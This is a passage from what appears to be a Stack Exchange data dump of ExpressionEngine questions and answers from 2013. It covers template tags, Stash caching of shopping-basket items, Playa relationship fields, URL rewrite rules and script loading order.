type=&quot;text/javascript&quot;&amp;gt;try{Typekit.load();}catch(e){}&amp;lt;/script&amp;gt;&#xA;&#xA;        {exp:channel:entries channel=&quot;preferences&quot;}&#xA;            &amp;lt;title&amp;gt;{title}&amp;lt;/title&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&#xA;        &amp;lt;!-- Stylesheets --&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;{stylesheet='website/global'}&quot; /&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;{stylesheet='website/web'}&quot; /&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;{stylesheet='website/mobile'}&quot; /&amp;gt;&#xA;&#xA;        &amp;lt;!-- Bootstrap --&amp;gt;&#xA;        &amp;lt;link href=&quot;{template_root}bootstrap/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;        &amp;lt;!--[if lt IE 9]&amp;gt;&#xA;        &amp;lt;script src=&quot;https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;script src=&quot;https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;![endif]--&amp;gt;&#xA;&#xA;        {!--&#xA;        &amp;lt;!-- Development Stylesheets --&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;global.css&quot; /&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;web.css&quot; /&amp;gt;&#xA;        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;mobile.css&quot; /&amp;gt;&#xA;        &amp;lt;!-- Development Javascript --&amp;gt;&#xA;        &amp;lt;script type=&quot;text/javascript&quot; src=&quot;site_script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;        --}&#xA;&#xA;&#xA;&#xA;    &amp;lt;/head&amp;gt;&#xA;&#xA;    &amp;lt;body&amp;gt;&#xA;        &amp;lt;div id=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;            &amp;lt;!-- masthead Snippet--&amp;gt;&#xA;            &amp;lt;div class=&quot;masthead&quot;&amp;gt;&#xA;                {exp:channel:entries channel=&quot;preferences&quot;}&amp;lt;div class=&quot;logo&quot;&amp;gt;&amp;lt;img src=&quot;{dandelion_logo}&quot; /&amp;gt;&amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;                {exp:channel:entries channel=&quot;contact&quot;}&amp;lt;div class=&quot;nav_social_icons&quot; /&amp;gt;test&amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;                &amp;lt;div id=&quot;navigation&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;nav_item&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_circle&quot;&amp;gt;&#xA;                            {exp:channel:entries channel=&quot;Cart&quot;}&amp;lt;img src=&quot;{cart_icon}&quot; class=&quot;nav_icon_cart&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_title&quot;&amp;gt;&#xA;                            {title}&#xA;                        &amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- Cart .nav_item --&amp;gt;      &#xA;&#xA;                    &amp;lt;div class=&quot;nav_item&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_circle&quot;&amp;gt;&#xA;                            {exp:channel:entries channel=&quot;Shop&quot;}&amp;lt;img src=&quot;{shop_icon}&quot; class=&quot;nav_icon_shop&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_title&quot;&amp;gt;&#xA;                            {title}&#xA;                        &amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- Shop .nav_item --&amp;gt;    &#xA;&#xA;                    &amp;lt;div class=&quot;nav_item&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_circle&quot;&amp;gt;&#xA;                            {exp:channel:entries channel=&quot;events&quot;}&amp;lt;img src=&quot;{events_icon}&quot; class=&quot;nav_icon_events&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_title&quot;&amp;gt;&#xA;                            {title}&#xA;                        &amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- Events .nav_item --&amp;gt;  &#xA;&#xA;                    &amp;lt;div class=&quot;nav_item&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_circle&quot;&amp;gt;&#xA;                            {exp:channel:entries channel=&quot;contact&quot;}&amp;lt;img src=&quot;{contact_icon}&quot; class=&quot;nav_icon_contact&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_title&quot;&amp;gt;&#xA;                            {title}&#xA;                        &amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- Contact .nav_item --&amp;gt;  &#xA;&#xA;                    &amp;lt;div class=&quot;nav_item&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_circle&quot;&amp;gt;&#xA;                            {exp:channel:entries channel=&quot;home&quot;}&amp;lt;img src=&quot;{home_icon}&quot; class=&quot;nav_icon_home&quot; /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;nav_title&quot;&amp;gt;&#xA;                            {title}&#xA;                        &amp;lt;/div&amp;gt;{/exp:channel:entries}&#xA;                    &amp;lt;/div&amp;gt; &amp;lt;!-- Home .nav_item --&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt; &amp;lt;!-- #navigation --&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- .masthead --&amp;gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;    WRAPPER BOTTOM&amp;lt;br /&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- .wrapper --&amp;gt;&#xA;&#xA;    &amp;lt;!-- Javascript --&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;{template_root}site_script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;!-- Bootstrap JQuery--&amp;gt;&#xA;    &amp;lt;script src=&quot;https://code.jquery.com/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;{template_root}bootstrap/js/bootstrap.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2398" LastActivityDate="2013-12-04T12:36:27.657" Title="Javascript not working properly in template" Tags="|jquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17387" PostTypeId="2" ParentId="17385" CreationDate="2013-12-04T09:32:11.253" Score="1" Body="&lt;p&gt;Try to create a snippet called {sp_lastest_post} and place these lines inside it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;bloglist-small&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;channel_name&quot;&#xA;                         category=&quot;cat_id&quot;&#xA;                         limit=&quot;10&quot;}&#xA;&#xA;        {!-- Begin Loop --}&#xA;        {!-- Replace below values with channel entries tag variables --}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;div class=&quot;date-box&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;day&quot;&amp;gt;28&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;month&quot;&amp;gt;SEP&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;txt&quot;&amp;gt;&#xA;                &amp;lt;h5&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Lorem ipsum sit amet&amp;lt;/a&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                &amp;lt;span class=&quot;read&quot;&amp;gt;Nemo enim ipsam voluptatem quia voluptas sit aspernatur aut odit aut fugit, sed quia consequuntur magni dolores eos qui ratione voluptatem&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;info&quot;&amp;gt;Sept 23, 2013 | &amp;lt;a href=&quot;#&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;&#xA;        {!-- No Results Message --}&#xA;        {if no_results}&amp;lt;h4&amp;gt;Updating...&amp;lt;/h4&amp;gt;{/if}&#xA;&#xA;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then place the snippet to wherever you want your posts to appear.&lt;/p&gt;&#xA;" OwnerUserId="477" LastActivityDate="2013-12-04T09:32:11.253" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17388" PostTypeId="2" ParentId="17355" CreationDate="2013-12-04T09:39:55.777" Score="1" Body="&lt;p&gt;I would go with conditional statement as well, this is probably the easiest/fastest and most effective (as @Anna_MediaGirl mentioned above) way to do it. &lt;/p&gt;&#xA;" OwnerUserId="477" LastActivityDate="2013-12-04T09:39:55.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17389" PostTypeId="2" ParentId="17384" CreationDate="2013-12-04T09:51:13.440" Score="2" Body="&lt;p&gt;The short answer is to use a full template_group/template path to your 404, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;site/404&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I explained the reason why here:&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3670/strange-stash-redirect-issue/4734#4734&quot;&gt;Strange Stash &amp;amp; redirect issue&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this post was made I have added a new tag &lt;code&gt;{exp:stash:not_found}&lt;/code&gt; to help with situations where the no_results condiotonals are nested inside other tags:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Anot_found%7D&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Anot_found%7D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the best place to use &lt;code&gt;{if no_results}...&lt;/code&gt; is on the tag that you are trying to capture data from.&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-11-12T19:20:40.353" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17390" PostTypeId="2" ParentId="17370" CreationDate="2013-12-04T10:03:06.467" Score="3" Body="&lt;p&gt;If you use that code in an EE template (rather than a Stash embed) then EE will parse &lt;code&gt;{segment_1}&lt;/code&gt; early, before tags are run and before Stash can escape it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See step 1 here: &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news is you can access any global variable or snippet as a tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get name=&quot;segment_1&quot; type=&quot;snippet&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;full_nav_cache&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; output=&quot;yes&quot; save=&quot;yes&quot; refresh=&quot;180&quot; replace=&quot;no&quot; scope=&quot;site&quot;}&#xA;    {exp:navee:custom nav_title=&quot;main-nav&quot; wrap_type=&quot;none&quot;}&#xA;        &amp;lt;li class=&quot;{stash:nocache}{if '{site_url}{exp:stash:get name=&quot;segment_1&quot; type=&quot;snippet&quot;}/' == {/stash:nocache}'{link}'{stash:nocache}}selected{/if}{/stash:nocache}&quot;&amp;gt;&#xA;    {/exp:navee:custom}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-12-04T10:03:06.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17391" PostTypeId="2" ParentId="17372" CreationDate="2013-12-04T10:44:50.903" Score="1" Body="&lt;p&gt;The most likely reasons are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Upload path not valid - Fix under content &gt; upload preferences&lt;/li&gt;&#xA;&lt;li&gt;Cannot write to folder - Check folder exists and has 777 permissions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-12-04T10:44:50.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17392" PostTypeId="1" AcceptedAnswerId="17393" CreationDate="2013-12-04T10:49:34.480" Score="2" ViewCount="69" Body="&lt;p&gt;In the following code I'm using Expresso store to stash the current user's basket away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Win it I'm setting a nested list so that I can loop through the options and display them as a definition list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However that nested list doesn't seem to be returning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody spot what's wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Set List&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;    {exp:stash:set name=&quot;basket-total&quot;}{order_subtotal}{/exp:stash:set}&#xA;    {exp:stash:set_list name=&quot;basket-items&quot; process_tags=&quot;yes&quot;}&#xA;        {items}&#xA;            {stash:title}{title}{/stash:title}&#xA;            {stash:quantity}{item_qty}{/stash:quantity}&#xA;            {stash:entry-id}{entry_id}{/stash:entry-id}&#xA;            {stash:price}{exp:stash:embed:rcf:ecom_price stash:entry-id=&quot;{entry_id}&quot;}{/stash:price}&#xA;            {stash:subtotal}{item_subtotal}{/stash:subtotal}&#xA;&#xA;            {exp:stash:set_list:nested name=&quot;options&quot;}&#xA;                {modifiers}&#xA;                    {stash:option}{modifier_name}{/stash:option}&#xA;                    {stash:value}{modifier_value}{/stash:value}&#xA;                {/modifiers}&#xA;            {/exp:stash:set_list:nested}&#xA;        {/items}&#xA;    {/exp:stash:set_list}&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Get List&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:stash:get_list name=&quot;basket-items&quot;}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--image&quot;&amp;gt;&amp;lt;img src=&quot;http://placehold.it/90x90&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--item&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;ul class=&quot;basket--item--controls&quot;&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--options&quot;&amp;gt;&#xA;                &amp;lt;dl&amp;gt;&#xA;                    {exp:stash:get_list:nested name=&quot;options&quot;}&#xA;                        &amp;lt;dt&amp;gt;{option}&amp;lt;/dt&amp;gt;&#xA;                        &amp;lt;dd&amp;gt;{value}&amp;lt;/dd&amp;gt;&#xA;                    {/exp:stash:get_list:nested}&#xA;                    &amp;lt;dt&amp;gt;Quantity:&amp;lt;/dt&amp;gt;&#xA;                    &amp;lt;dd&amp;gt;{quantity}&amp;lt;/dd&amp;gt;&#xA;                &amp;lt;/dl&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--item-sub-total&quot;&amp;gt;{subtotal}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-12-04T11:09:13.273" Title="Nested list to show product options" Tags="|expresso-store|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17393" PostTypeId="2" ParentId="17392" CreationDate="2013-12-04T11:09:13.273" Score="2" Body="&lt;p&gt;I found the solution. I was using &lt;code&gt;process_tags&lt;/code&gt; instead of the correct &lt;code&gt;parse_tags&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For people who found this, this is the code that works so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setter&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:cart}&#xA;{exp:stash:set name=&quot;basket-total&quot;}{order_subtotal}{/exp:stash:set}&#xA;&#xA;{!-- Set a list of all the products in the user's basket and save it for 2 hours unless the user updates it --}&#xA;{exp:stash:set_list name=&quot;basket-items&quot; scope=&quot;user&quot; save=&quot;yes&quot; refresh=&quot;120&quot; {if segment_2==&quot;added&quot;||segment_2==&quot;updated&quot;}replace=&quot;yes&quot;{/if} parse_tags=&quot;yes&quot;}&#xA;    {items}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:quantity}{item_qty}{/stash:quantity}&#xA;        {stash:entry-id}{entry_id}{/stash:entry-id}&#xA;        {stash:price}{exp:stash:embed:rcf:ecom_price stash:entry-id=&quot;{entry_id}&quot;}{/stash:price}&#xA;        {stash:subtotal}{item_subtotal}{/stash:subtotal}&#xA;        {stash:key}{key}{/stash:key}&#xA;&#xA;        {!-- Stash the modifiers for this option away --}&#xA;        {exp:stash:set_list:nested name=&quot;options-{key}&quot;}&#xA;            {modifiers}&#xA;                {stash:option}{modifier_name}{/stash:option}&#xA;                {stash:value}{modifier_value}{/stash:value}&#xA;            {/modifiers}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;    {/items}&#xA;&#xA;{/exp:stash:set_list}&#xA;{/exp:store:cart}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getter&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;&amp;lt;thead&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;th colspan=&quot;2&quot;&amp;gt;In stock available to buy today&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Your Options&amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;Price&amp;lt;/th&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/thead&amp;gt;&#xA;&amp;lt;tfoot&amp;gt;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td colspan=&quot;3&quot;&amp;gt;Subtotal&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{stash:basket-total}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/tfoot&amp;gt;&#xA;&amp;lt;tbody&amp;gt;&#xA;    {exp:stash:get_list name=&quot;basket-items&quot;}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--image&quot;&amp;gt;&amp;lt;img src=&quot;http://placehold.it/90x90&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--item&quot;&amp;gt;&#xA;                &amp;lt;strong&amp;gt;{title} - {key}&amp;lt;/strong&amp;gt;&#xA;                &amp;lt;ul class=&quot;basket--item--controls&quot;&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot;&amp;gt;Remove&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--options&quot;&amp;gt;&#xA;                &amp;lt;dl&amp;gt;&#xA;                    {exp:stash:get_list:nested name=&quot;options-{key}&quot; parse=&quot;inward&quot;}&#xA;                        &amp;lt;dt&amp;gt;{option}&amp;lt;/dt&amp;gt;&#xA;                        &amp;lt;dd&amp;gt;{value}&amp;lt;/dd&amp;gt;&#xA;                    {/exp:stash:get_list:nested}&#xA;                    &amp;lt;dt&amp;gt;Quantity:&amp;lt;/dt&amp;gt;&#xA;                    &amp;lt;dd&amp;gt;{quantity}&amp;lt;/dd&amp;gt;&#xA;                &amp;lt;/dl&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td class=&quot;basket--item-sub-total&quot;&amp;gt;{subtotal}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/tbody&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-12-04T11:09:13.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17394" PostTypeId="2" ParentId="17334" CreationDate="2013-12-04T11:15:41.093" Score="1" Body="&lt;p&gt;If the site will go offline before being replaced with new one, I would choose MSM approach. You will not need extra licenses (as old site will be removed) and it is easier to manage than &quot;old-style&quot;.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-12-04T11:15:41.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17395" PostTypeId="1" AcceptedAnswerId="17398" CreationDate="2013-12-04T12:12:02.037" Score="0" ViewCount="158" Body="&lt;p&gt;In the below I need the field &lt;code&gt;{link_rhs}&lt;/code&gt; to display a link to any page or entry on the website. Previously we were using StructureFrame which was perfect for displaying pages, but it doesn't display all entries. Do I need the &lt;code&gt;{link_rhs}&lt;/code&gt; field to also be a Playa field? How can a Playa field work within a Playa field? Or maybe another option?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;rhs_cta&quot; dynamic=&quot;off&quot; entry_id='{embed:entry_id}'}&#xA;&amp;lt;article class=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;figure&amp;gt;&#xA;        &amp;lt;a href=&quot;{link_rhs}&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;{thumbnail_image_rhs}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        {if ribbon_title}&amp;lt;span class=&quot;green&quot;&amp;gt;{ribbon_title}&amp;lt;/span&amp;gt;{/if}&#xA;    &amp;lt;/figure&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{link_rhs}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;{text_rhs}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;hr class=&quot;desktop-version&quot;&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;{if no_parents} &#xA;    {embed=&quot;embeds/latest-blogs&quot;}&#xA;{/if}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="687" LastActivityDate="2013-12-04T12:44:47.000" Title="A list of entries inside Playa tags" Tags="|playa|relationships|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17396" PostTypeId="1" CreationDate="2013-12-04T12:26:55.760" Score="4" ViewCount="283" Body="&lt;p&gt;I am working on customizing the theme of EE Discussion Forum and some of pages need to add/remove sections. For which I would like to create new template and include within appropriate template like &lt;code&gt;{include:html_header}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I am including the new created template, getting the error message like &quot;Page not available&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please suggest me if its possible. If possible, how can I achieve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2019-10-07T22:41:49.793" Title="Create new template in Discussion Forum theme" Tags="|forum|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17397" PostTypeId="2" ParentId="17386" CreationDate="2013-12-04T12:36:27.657" Score="4" Body="&lt;p&gt;This is not actually EE-related - your scripts are in the wrong order. You're calling your &lt;code&gt;site_script&lt;/code&gt; before you've loaded jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;{template_root}site_script.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;!-- Bootstrap JQuery--&amp;gt;&#xA;&amp;lt;script src=&quot;https://code.jquery.com/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reverse the order of those and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-04T12:36:27.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17398" PostTypeId="2" ParentId="17395" CreationDate="2013-12-04T12:44:47.000" Score="1" Body="&lt;p&gt;Sure, &lt;code&gt;{link_rhs}&lt;/code&gt; can be a Playa field, and can be displayed inside of the &lt;code&gt;playa:parents&lt;/code&gt; loop. Just use the standard &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;fieldtype tag pair&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{link_rhs}&#xA;&amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;{thumbnail_image_rhs}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;{/link_rhs}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comment-url-title-auto-path&quot; rel=&quot;nofollow&quot;&gt;comment_url_title_auto_path&lt;/a&gt; here in case you're allowing entries from multiple channels )and hnce multiple URL structures) to be selected in the Playa field.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-04T12:44:47.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17399" PostTypeId="2" ParentId="17012" CreationDate="2013-12-04T12:53:41.573" Score="1" Body="&lt;p&gt;This finally worked. I double checked that mod_rewrite was installed, too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Removes index.php from ExpressionEngine URLs&#xA;RewriteEngine On&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond $1 !^(admin|images|system|themes|index\.php|admin\.php) [NC]&#xA;RewriteCond $1 ^(cursos|programas|testimonales|salondelafama|enhonor|registro|resources|calendario|TNA) [NC]&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-12-04T12:53:41.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17400" PostTypeId="2" ParentId="17383" CreationDate="2013-12-04T13:29:08.470" Score="1" Body="&lt;p&gt;Not natively, no. But you could use the Query module to populate the &lt;code&gt;entry_id&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; entry_id=&quot;&#xA;    {exp:query sql=&quot;&#xA;        SELECT entry_id, count(*) AS count &#xA;        FROM exp_channel_grid_field_XXX &#xA;        GROUP BY entry_id &#xA;        HAVING count &amp;gt; X&quot; &#xA;        backspace=&quot;1&quot;}{entry_id}|&quot;{/exp:query}&#xA;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-04T13:29:08.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
